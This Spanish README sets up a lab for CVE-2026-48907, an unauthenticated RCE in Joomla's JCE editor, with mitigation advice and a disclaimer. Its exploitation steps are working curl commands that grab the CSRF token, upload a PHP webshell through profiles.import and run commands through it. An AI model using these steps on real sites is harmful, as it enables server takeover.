CVE-2026-48907 — Laboratorio de RCE no autenticado en Joomla JCE

PSsec Laboratorio educativo de investigación de seguridad para CVE-2026-48907.

Resumen

CVE-2026-48907 es una vulnerabilidad crítica (CVSS 10.0) de ejecución remota de código no autenticada en JCE (Joomla Content Editor), la extensión de editor más instalada para Joomla, que afecta a todas las versiones ≤ 2.9.99.4.

El endpoint profiles.import acepta cargas de archivos sin ninguna autenticación. Un atacante puede subir un archivo PHP malicioso disfrazado de perfil XML, que se escribe en el directorio tmp/ del servidor y se ejecuta directamente a través de HTTP — sin necesidad de credenciales.

Configuración del laboratorio

Requisitos previos

• Docker + Docker Compose
• Kali Linux (o cualquier host Linux)

1. Iniciar el entorno vulnerable

docker compose up -d

2. Completar el instalador de Joomla

Abre http://localhost:8080 en tu navegador y completa el asistente de configuración con estas credenciales:

3. Instalar la extensión JCE vulnerable

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Luego, en el Administrador de Joomla → Sistema → Extensiones → Instalar → sube el ZIP.

Explotación

4. Extraer el token CSRF y la cookie de sesión

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Subir una webshell PHP mediante la importación de perfil no autenticada

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Verificar la ejecución remota de código

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Salida esperada: uid=33(www-data) gid=33(www-data)

Archivos

Mitigación

Actualiza JCE a la versión 2.9.99.5 o posterior de inmediato.

Aviso oficial del proveedor y parche gratuito para versiones antiguas de Joomla: Actualización de seguridad de JCE — joomlacontenteditor.net

Créditos

• Referencia de herramientas de explotación: JoomlaSniper por ynsmroztas
• Vulnerabilidad descubierta en explotación activa por Phil Taylor de mySites.guru
• Inclusión en KEV de CISA: 16 de junio de 2026

Descargo de responsabilidad

Este repositorio está destinado estrictamente a fines educativos y de investigación de seguridad autorizada.

Las pruebas solo deben realizarse contra sistemas que sean de tu propiedad o para los que tengas permiso explícito por escrito. El uso no autorizado de este material contra sistemas que no te pertenecen es ilegal y poco ético. Los autores y Pansophical OU no aceptan ninguna responsabilidad por el mal uso de este contenido.

Este entorno de laboratorio es intencionalmente vulnerable. No lo expongas a internet ni a ninguna red no confiable.

Por PSsec